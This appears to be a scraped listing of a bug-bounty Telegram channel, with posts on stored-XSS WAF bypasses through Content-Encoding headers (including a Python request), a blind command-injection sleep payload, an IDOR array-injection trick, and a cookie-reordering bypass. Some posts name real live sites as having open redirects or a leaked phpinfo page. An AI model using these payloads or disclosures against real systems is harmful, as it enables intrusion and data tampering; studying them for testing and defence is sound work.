Hacking Vidhya

]\n\n📌 Example with fake encoding:\n\nPOST /submit-comment HTTP/1.1  \nHost: target.com  \nContent-Encoding: x-nonsense  \nContent-Type: application/x-www-form-urlencoded\n\ncomment=\n\n🧠 Why it works:\n\nWAFs might block based on the header alone or misinterpret it.\n\nThe backend may not enforce the declared encoding and just process the raw body.\n\n\n🛠️ Python Example:\n\nimport requests\n\npayload = 'comment='\nheaders = {\n    'Content-Encoding': 'x-xyz123',  # Random/fake value\n    'Content-Type': 'application/x-www-form-urlencoded'\n}\n\nrequests.post('https://target.com/submit-comment', data=payload, headers=headers)\n\n⚠️ Notes:\n\nBehavior varies between servers and WAFs.\n\nBest used when stored content is later rendered in a browser (Stored XSS).\n\nAlways test on a case-by-case basis.\n\n\n#BugBounty #StoredXSS #WAFBypass #XSS #InfoSec #WebSecurity #ContentEncoding","datePublished":"2025-08-09T14:09:32Z","dateModified":"2025-08-09T14:09:32Z","author":{"@type":"Organization","name":"Hacking Vidhya","url":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya","image":"https://img.tlmtr.io/c/2KwbDC/6105187671170205456?ty=x"},"publisher":{"@type":"Organization","name":"Hacking Vidhya","url":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya","image":"https://img.tlmtr.io/c/2KwbDC/6105187671170205456?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":70},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":4}]}},{"@type":"ListItem","position":2,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya/posts/71","url":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya/posts/71","mainEntityOfPage":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya/posts/71","headline":"AWS Pentesting: S3 Bucket Recon #S3 #Bucket #recon #AWS AWS S3 is one of the most popular storage solutions,…","articleBody":"AWS Pentesting: S3 Bucket Recon\n#S3 #Bucket #recon #AWS\n\nAWS S3 is one of the most popular storage solutions, but it's also a common misconfiguration target that can lead to critical data exposure. As a cloud penetration tester, understanding how to conduct recon for S3 buckets is crucial in assessing the external security posture of an organization's AWS environment. In this walkthrough, we'll cover the methods to check for exposed S3 buckets and analyze the access level for different scenarios: when a bucket is publicly exposed, when you have AWS keys, and how to validate access permissions.\n\nIn this walkthrough, we will use a combination of S3 buckets from flaws.cloud, Dafthack's glitchcloud bucket, and my own s3 bucket.\nhttp://flaws.cloud/","datePublished":"2025-08-09T14:09:32Z","dateModified":"2025-08-09T14:09:32Z","author":{"@type":"Organization","name":"Hacking Vidhya","url":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya","image":"https://img.tlmtr.io/c/2KwbDC/6105187671170205456?ty=x"},"publisher":{"@type":"Organization","name":"Hacking Vidhya","url":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya","image":"https://img.tlmtr.io/c/2KwbDC/6105187671170205456?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":52},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":1}]}},{"@type":"ListItem","position":3,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya/posts/70","url":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya/posts/70","mainEntityOfPage":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya/posts/70","headline":"Bug Bounty Trick: Bypass Invalid ID Validation via Array Injection Sometimes a small change makes a big diffe…","articleBody":"Bug Bounty Trick: Bypass Invalid ID Validation via Array Injection \n\nSometimes a small change makes a big difference!\n\n🔍 Original Request:\nDELETE /api/bookings?bookings=3777104\n❌ Response: 400 Bad Request — \"Invalid Bookings\"\n\n✅ Modified Request:\nDELETE /api/bookings?bookings[]=3777104\n💥 Response: 200 OK — Booking successfully deleted!\n\n📌 Why This Works:\nSome backends treat bookings= as a scalar (single ID), while bookings[]= is interpreted as an array of IDs.\n\nIf the API logic expects an array, this simple tweak can bypass input validation or authorization checks, potentially leading to:\n\n🛑 IDOR (Insecure Direct Object Reference)\n🗑 Unauthorized Deletion of Bookings\n📬 Mass Resource Tampering (loop over IDs)\n\n🔧 Tip: Always test both forms:\nparam=value\nparam[]=value\n\n…and watch how the backend responds differently \n\n#bugbounty #api #idor #infosec #cybersec #websecurity #bypass #cybersecplayground","datePublished":"2025-08-09T14:09:32Z","dateModified":"2025-08-09T14:09:32Z","author":{"@type":"Organization","name":"Hacking Vidhya","url":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya","image":"https://img.tlmtr.io/c/2KwbDC/6105187671170205456?ty=x"},"publisher":{"@type":"Organization","name":"Hacking Vidhya","url":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya","image":"https://img.tlmtr.io/c/2KwbDC/6105187671170205456?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":45},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":3},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":1}]}},{"@type":"ListItem","position":4,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya/posts/69","url":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya/posts/69","mainEntityOfPage":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya/posts/69","headline":"🔎 Osint Tools Directory 🔎 Comprehensivbe reddit osint capabilities for professionals. ▶️Export user data ▶️Cu…","articleBody":"🔎 Osint Tools Directory 🔎\n\nComprehensivbe reddit osint capabilities for professionals.\n\n▶️Export user data\n▶️Custom use cases\n▶️subreddits scraping\n▶️20B+ indexed submissions\n▶️Profiling with sources\n▶️API\n\nhttps://r00m101.com/tools","datePublished":"2025-08-09T14:09:32Z","dateModified":"2025-08-09T14:09:32Z","author":{"@type":"Organization","name":"Hacking Vidhya","url":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya","image":"https://img.tlmtr.io/c/2KwbDC/6105187671170205456?ty=x"},"publisher":{"@type":"Organization","name":"Hacking Vidhya","url":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya","image":"https://img.tlmtr.io/c/2KwbDC/6105187671170205456?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":44},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":1}]}},{"@type":"ListItem","position":5,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya/posts/68","url":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya/posts/68","mainEntityOfPage":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya/posts/68","headline":"blind RCE payload + sleep ;if [ $( whoami | cut -c 1) = \"d\" ]; then sleep 10; fi","articleBody":"blind RCE payload + sleep \n;if [  $( whoami | cut -c 1) = \"d\" ]; then sleep 10; fi","datePublished":"2025-08-09T14:09:32Z","dateModified":"2025-08-09T14:09:32Z","author":{"@type":"Organization","name":"Hacking Vidhya","url":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya","image":"https://img.tlmtr.io/c/2KwbDC/6105187671170205456?ty=x"},"publisher":{"@type":"Organization","name":"Hacking Vidhya","url":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya","image":"https://img.tlmtr.io/c/2KwbDC/6105187671170205456?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":37},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":3},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":1}]}},{"@type":"ListItem","position":6,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya/posts/67","url":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya/posts/67","mainEntityOfPage":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya/posts/67","headline":"PHP info file leaked : http://mient.rwict.nl/info.php","articleBody":"PHP info file leaked : http://mient.rwict.nl/info.php","datePublished":"2025-08-09T14:08:15Z","dateModified":"2025-08-09T14:08:15Z","author":{"@type":"Organization","name":"Hacking Vidhya","url":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya","image":"https://img.tlmtr.io/c/2KwbDC/6105187671170205456?ty=x"},"publisher":{"@type":"Organization","name":"Hacking Vidhya","url":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya","image":"https://img.tlmtr.io/c/2KwbDC/6105187671170205456?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":40}]}},{"@type":"ListItem","position":7,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya/posts/66","url":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya/posts/66","mainEntityOfPage":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya/posts/66","headline":"Open Redirect : http://hollandfit.nl//evil.com","articleBody":"Open Redirect : http://hollandfit.nl//evil.com","datePublished":"2025-08-09T14:08:10Z","dateModified":"2025-08-09T14:08:10Z","author":{"@type":"Organization","name":"Hacking Vidhya","url":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya","image":"https://img.tlmtr.io/c/2KwbDC/6105187671170205456?ty=x"},"publisher":{"@type":"Organization","name":"Hacking Vidhya","url":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya","image":"https://img.tlmtr.io/c/2KwbDC/6105187671170205456?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":41}]}},{"@type":"ListItem","position":8,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya/posts/56","url":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya/posts/56","mainEntityOfPage":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya/posts/56","headline":"🔍 Bypassing WAFs Using Content-Encoding Header in Stored XSS Hunting When hunting for stored XSS, WAFs (Web A…","articleBody":"🔍 Bypassing WAFs Using Content-Encoding Header in Stored XSS Hunting\n\nWhen hunting for stored XSS, WAFs (Web Application Firewalls) can block common payloads. But there's a sneaky technique that can bypass them — using the Content-Encoding header.\n\n💡 Two Tricks:\n\n1️⃣ Valid Compression (e.g. gzip, deflate)\n\nCompress your payload.\n\nSend it with Content-Encoding: gzip.\n\nMany WAFs won't decompress it and will miss the XSS.\n\n\n2️⃣ Fake or Random Content-Encoding\n\nUse a random or incorrect value like Content-Encoding: xyz.\n\nSome backends ignore unknown encodings and just process the request body normally.\n\nMeanwhile, some WAFs may skip inspection or break when parsing the unknown encoding — leading to a bypass.\n\n\n📌 Example with gzip compression:\n\nPOST /submit-comment HTTP/1.1  \nHost: target.com  \nContent-Encoding: gzip  \nContent-Type: application/x-www-form-urlencoded\n\n[ gzip-compressed payload with: ]\n\n📌 Example with fake encoding:\n\nPOST /submit-comment HTTP/1.1  \nHost: target.com  \nContent-Encoding: x-nonsense  \nContent-Type: application/x-www-form-urlencoded\n\ncomment=\n\n🧠 Why it works:\n\nWAFs might block based on the header alone or misinterpret it.\n\nThe backend may not enforce the declared encoding and just process the raw body.\n\n\n🛠️ Python Example:\n\nimport requests\n\npayload = 'comment='\nheaders = {\n    'Content-Encoding': 'x-xyz123',  # Random/fake value\n    'Content-Type': 'application/x-www-form-urlencoded'\n}\n\nrequests.post('https://target.com/submit-comment', data=payload, headers=headers)\n\n⚠️ Notes:\n\nBehavior varies between servers and WAFs.\n\nBest used when stored content is later rendered in a browser (Stored XSS).\n\nAlways test on a case-by-case basis.\n\n\n#BugBounty #StoredXSS #WAFBypass #XSS #InfoSec #WebSecurity #ContentEncoding","datePublished":"2025-08-09T14:03:10Z","dateModified":"2025-08-09T14:03:10Z","author":{"@type":"Organization","name":"Hacking Vidhya","url":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya","image":"https://img.tlmtr.io/c/2KwbDC/6105187671170205456?ty=x"},"publisher":{"@type":"Organization","name":"Hacking Vidhya","url":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya","image":"https://img.tlmtr.io/c/2KwbDC/6105187671170205456?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":46},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":1},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":1}]}},{"@type":"ListItem","position":9,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya/posts/55","url":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya/posts/55","mainEntityOfPage":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya/posts/55","headline":"AWS Pentesting: S3 Bucket Recon #S3 #Bucket #recon #AWS AWS S3 is one of the most popular storage solutions,…","articleBody":"AWS Pentesting: S3 Bucket Recon\n#S3 #Bucket #recon #AWS\n\nAWS S3 is one of the most popular storage solutions, but it's also a common misconfiguration target that can lead to critical data exposure. As a cloud penetration tester, understanding how to conduct recon for S3 buckets is crucial in assessing the external security posture of an organization's AWS environment. In this walkthrough, we'll cover the methods to check for exposed S3 buckets and analyze the access level for different scenarios: when a bucket is publicly exposed, when you have AWS keys, and how to validate access permissions.\n\nIn this walkthrough, we will use a combination of S3 buckets from flaws.cloud, Dafthack's glitchcloud bucket, and my own s3 bucket.\nhttp://flaws.cloud/","datePublished":"2025-08-09T14:03:10Z","dateModified":"2025-08-09T14:03:10Z","author":{"@type":"Organization","name":"Hacking Vidhya","url":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya","image":"https://img.tlmtr.io/c/2KwbDC/6105187671170205456?ty=x"},"publisher":{"@type":"Organization","name":"Hacking Vidhya","url":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya","image":"https://img.tlmtr.io/c/2KwbDC/6105187671170205456?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":30}]}},{"@type":"ListItem","position":10,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya/posts/54","url":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya/posts/54","mainEntityOfPage":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya/posts/54","headline":"You can use XSStrike for reflected and DOM XSS scanning. 🔹 multi-threaded crawling 🔹 WAF detection & evasion…","articleBody":"You can use XSStrike for reflected and DOM XSS scanning. \n\n🔹 multi-threaded crawling\n🔹 WAF detection & evasion\n🔹 outdated JS lib scanning\n🔹 blind XSS support\n🔹 bruteforce payloads from a file\n\n#XSS\n\nhttps://github.com/s0md3v/XSStrike","datePublished":"2025-08-09T14:03:10Z","dateModified":"2025-08-09T14:03:10Z","author":{"@type":"Organization","name":"Hacking Vidhya","url":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya","image":"https://img.tlmtr.io/c/2KwbDC/6105187671170205456?ty=x"},"publisher":{"@type":"Organization","name":"Hacking Vidhya","url":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya","image":"https://img.tlmtr.io/c/2KwbDC/6105187671170205456?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":30},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":1}]}},{"@type":"ListItem","position":11,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya/posts/53","url":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya/posts/53","mainEntityOfPage":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya/posts/53","headline":"An head up on the new 16 billions leak that's been creating rumors lately: My team hasn't individuated this d…","articleBody":"An head up on the new 16 billions leak that's been creating rumors lately:\nMy team hasn't individuated this data yet but as what I can believe it isn't a breach nor anything scary: that's a credential stuffing. Other types of credential stuffing were Naz.Api, Compilation#1, COMB, LeakPass, MOAB and so on. They're all made of already publicly available data collected in a bigger source. My first thought was the leak consisted of the stealer logs of a source called Alien, but Alien got already listed on HIBP in February this year (2025) and it consisted of 23 billions logs, the source of those logs is 99% public but we don't know yet exactly where they come from. As soon as the leak will be available for us to be downloaded and analyzed we'll be able to understand more about its origins and if you believe you've been hit by it, no worries. Password hygene is important, don't use easy guessable passwords and rely on 2FAs, OTPs, PGP and SmartKeys instead. Don't use Windows and don't install any software on your main machine and always run it through VirusTotal to avoid infostealing malwares. I know this might sound stupid to say but from my studies 94% of people uses weak passwords. Stay safe","datePublished":"2025-08-09T14:03:10Z","dateModified":"2025-08-09T14:03:10Z","author":{"@type":"Organization","name":"Hacking Vidhya","url":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya","image":"https://img.tlmtr.io/c/2KwbDC/6105187671170205456?ty=x"},"publisher":{"@type":"Organization","name":"Hacking Vidhya","url":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya","image":"https://img.tlmtr.io/c/2KwbDC/6105187671170205456?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":31}]}},{"@type":"ListItem","position":12,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya/posts/52","url":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya/posts/52","mainEntityOfPage":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya/posts/52","headline":"Bug Bounty Trick: Bypass Invalid ID Validation via Array Injection Sometimes a small change makes a big diffe…","articleBody":"Bug Bounty Trick: Bypass Invalid ID Validation via Array Injection \n\nSometimes a small change makes a big difference!\n\n🔍 Original Request:\nDELETE /api/bookings?bookings=3777104\n❌ Response: 400 Bad Request — \"Invalid Bookings\"\n\n✅ Modified Request:\nDELETE /api/bookings?bookings[]=3777104\n💥 Response: 200 OK — Booking successfully deleted!\n\n📌 Why This Works:\nSome backends treat bookings= as a scalar (single ID), while bookings[]= is interpreted as an array of IDs.\n\nIf the API logic expects an array, this simple tweak can bypass input validation or authorization checks, potentially leading to:\n\n🛑 IDOR (Insecure Direct Object Reference)\n🗑 Unauthorized Deletion of Bookings\n📬 Mass Resource Tampering (loop over IDs)\n\n🔧 Tip: Always test both forms:\nparam=value\nparam[]=value\n\n…and watch how the backend responds differently \n\n#bugbounty #api #idor #infosec #cybersec #websecurity #bypass #cybersecplayground","datePublished":"2025-08-09T14:03:10Z","dateModified":"2025-08-09T14:03:10Z","author":{"@type":"Organization","name":"Hacking Vidhya","url":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya","image":"https://img.tlmtr.io/c/2KwbDC/6105187671170205456?ty=x"},"publisher":{"@type":"Organization","name":"Hacking Vidhya","url":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya","image":"https://img.tlmtr.io/c/2KwbDC/6105187671170205456?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":30},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":1}]}},{"@type":"ListItem","position":13,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya/posts/51","url":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya/posts/51","mainEntityOfPage":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya/posts/51","headline":"🎯What is CVSS and why it is important? 🔐CVSS, or Common Vulnerability Scoring System, is a global standard fo…","articleBody":"🎯What is CVSS and why it is important?\n\n🔐CVSS, or Common Vulnerability Scoring System, is a global standard for scoring the severity of security vulnerabilities.\n\nWhen you find a vulnerability (for example, in a bug bounty or penetration test), you need to know how dangerous it is, what its impact is, and how quickly you need to react to it. That's where CVSS comes in! 🚨\n\n---\n📊 How does it work?\n\n So CVSS gives each vulnerability a number between 0.0 and 10.0:\n\n* 🔵 0.0–3.9 = Low\n* 🟡 4.0–6.9 = Medium\n* 🟠 7.0–8.9 = High\n* 🔴 9.0–10.0 = Critical\n\nThis score is calculated based on 3 main metrics:\n\n1. Base Score – the basic nature of the vulnerability\n\n✅ Access required (local, network)\n✅ Complexity of the exploit\n✅ Authentication required\n✅ Impact on confidentiality, integrity, availability\n\n2. Temporal Score – Changes over time\n\n🕐 Is there a public exploit?\n🛠 Has a fix been provided?\n📉 How reliable is the technical report?\n\n3. Environmental Score – Impact in the specific environment\n\n🏢 How important is the vulnerability to the specific organization or system?\n🔧 Are some factors in the environment recoverable?\n\n ---\n🛠 What are its uses?\n\n✅ Patch Management prioritization\n✅ Bug severity determination in bug bounty programs\n✅ Professional reporting to organizations\n✅ Risk analysis in information security teams\n✅ Documentation and CVE Tracking\n\n---\n\n🧮 Where to use it?\n\n🔗 Official CVSS v3.1 Calculator \n(https://www.first.org/cvss/calculator/3.1)\n\n---\n\n🧑‍💻 In short?\n\nWhen you find a vulnerability, don't just say \"it was dangerous\", give it a number with CVSS, make it comparable and analyze it more professionally! 😎","datePublished":"2025-08-09T14:03:10Z","dateModified":"2025-08-09T14:03:10Z","author":{"@type":"Organization","name":"Hacking Vidhya","url":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya","image":"https://img.tlmtr.io/c/2KwbDC/6105187671170205456?ty=x"},"publisher":{"@type":"Organization","name":"Hacking Vidhya","url":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya","image":"https://img.tlmtr.io/c/2KwbDC/6105187671170205456?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":29},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":1}]}},{"@type":"ListItem","position":14,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya/posts/50","url":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya/posts/50","mainEntityOfPage":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya/posts/50","headline":"🔎 Osint Tools Directory 🔎 Comprehensivbe reddit osint capabilities for professionals. ▶️Export user data ▶️Cu…","articleBody":"🔎 Osint Tools Directory 🔎\n\nComprehensivbe reddit osint capabilities for professionals.\n\n▶️Export user data\n▶️Custom use cases\n▶️subreddits scraping\n▶️20B+ indexed submissions\n▶️Profiling with sources\n▶️API\n\nhttps://r00m101.com/tools","datePublished":"2025-08-09T14:03:10Z","dateModified":"2025-08-09T14:03:10Z","author":{"@type":"Organization","name":"Hacking Vidhya","url":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya","image":"https://img.tlmtr.io/c/2KwbDC/6105187671170205456?ty=x"},"publisher":{"@type":"Organization","name":"Hacking Vidhya","url":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya","image":"https://img.tlmtr.io/c/2KwbDC/6105187671170205456?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":24}]}},{"@type":"ListItem","position":15,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya/posts/49","url":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya/posts/49","mainEntityOfPage":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya/posts/49","headline":"https://www.linkedin.com/posts/ahmedjumani_bugbounty-pentesting-infosec-activity-7340300779796254722-aNVn?utm…","articleBody":"https://www.linkedin.com/posts/ahmedjumani_bugbounty-pentesting-infosec-activity-7340300779796254722-aNVn?utm_source=share&utm_medium=member_desktop&rcm=ACoAAEWHm5gBqgBsxzhGwhyzSU6nPEOqctT4POQ","datePublished":"2025-08-09T14:03:10Z","dateModified":"2025-08-09T14:03:10Z","author":{"@type":"Organization","name":"Hacking Vidhya","url":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya","image":"https://img.tlmtr.io/c/2KwbDC/6105187671170205456?ty=x"},"publisher":{"@type":"Organization","name":"Hacking Vidhya","url":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya","image":"https://img.tlmtr.io/c/2KwbDC/6105187671170205456?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":26}]}},{"@type":"ListItem","position":16,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya/posts/48","url":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya/posts/48","mainEntityOfPage":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya/posts/48","headline":"Next.js + WAF Bypass + SXSS via Cookie Reordering Attack Summary: You’re dealing with: 🔍 A Next.js app Two re…","articleBody":"Next.js + WAF Bypass + SXSS via Cookie Reordering\n\nAttack Summary:\nYou’re dealing with:\n\n🔍 A Next.js app\n\nTwo reflected cookies in pageProps\nA WAF blocking your initial attempts\n\n🧪 Observations:\n🧨 Single payload → 403 Forbidden\n\n🧨 Split payload across two cookies → Still 403\n\n🧨 Reorder the cookie fragments → 200 OK ✅\n\nReversing the order bypasses the WAF inspection logic \n\nNow chain it with:\n\nCVE-2024-46982 (Elixir Stale SSR template injection)\n https://github.com/masch1/CVE-2024-46982\n\n➡️ This allows CP (Client-side Prototype Pollution) → Stored XSS (SXSS) in Next.js apps.\n\nExploit Flow:\n    💎 Bypass WAF via cookie reordering\n    💎 Inject CP payload using stale Elixir template vuln\n    💎 Achieve SXSS across all visiting users!\n\nMitigation Tips:\n    ✅ Sanitize cookie inputs server-side\n    ✅ Audit template engines for unsafe parsing\n    ✅ Patch Elixir if in stack (see CVE-2024-46982)\n\n#bugbounty #nextjs #xss #sxss #wafbypass #infosec #cybersecurity #cve2024_46982","datePublished":"2025-08-09T14:03:10Z","dateModified":"2025-08-09T14:03:10Z","author":{"@type":"Organization","name":"Hacking Vidhya","url":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya","image":"https://img.tlmtr.io/c/2KwbDC/6105187671170205456?ty=x"},"publisher":{"@type":"Organization","name":"Hacking Vidhya","url":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya","image":"https://img.tlmtr.io/c/2KwbDC/6105187671170205456?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":41},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":1}]}},{"@type":"ListItem","position":17,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya/posts/47","url":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya/posts/47","mainEntityOfPage":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya/posts/47","headline":"Hacking Vidhya","datePublished":"2025-08-09T14:03:10Z","dateModified":"2025-08-09T14:03:10Z","author":{"@type":"Organization","name":"Hacking Vidhya","url":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya","image":"https://img.tlmtr.io/c/2KwbDC/6105187671170205456?ty=x"},"publisher":{"@type":"Organization","name":"Hacking Vidhya","url":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya","image":"https://img.tlmtr.io/c/2KwbDC/6105187671170205456?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":27}]}},{"@type":"ListItem","position":18,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya/posts/6","url":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya/posts/6","mainEntityOfPage":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya/posts/6","headline":"Open Disclosure Bug : Open Redirect Poc : https://spectrocoin.com/%2fattacker.com/about.html Payload : /%2fat…","articleBody":"Open Disclosure \n\nBug : Open Redirect \nPoc : https://spectrocoin.com/%2fattacker.com/about.html\n\nPayload : /%2fattacker.com/about.html","datePublished":"2025-08-09T13:55:54Z","dateModified":"2025-08-09T13:55:54Z","author":{"@type":"Organization","name":"Hacking Vidhya","url":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya","image":"https://img.tlmtr.io/c/2KwbDC/6105187671170205456?ty=x"},"publisher":{"@type":"Organization","name":"Hacking Vidhya","url":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya","image":"https://img.tlmtr.io/c/2KwbDC/6105187671170205456?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":28},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":1}]}},{"@type":"ListItem","position":19,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya/posts/5","url":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya/posts/5","mainEntityOfPage":"https://telemetr.io/uk/channels/2519648356-hacking_vidhya/posts/5","headline":"People who are crying for #bugbounty course, mentors, hacking classes this is all what you need http://TryHac…","articleBody":"People who are crying for #bugbounty course, mentors, hacking classes\n\nthis is all what you need \nhttp://TryHackme.com\nhttp://portswigger.net/web-security\nhttp://academy.hackthebox.eu\nhttp://Bugbountyhunter.com","datePublished":"2025-08-09T13:55:33Z","dateModified":"2025-08-09T13:55:33Z","author":{"@type":"Organization","name":"Hacking 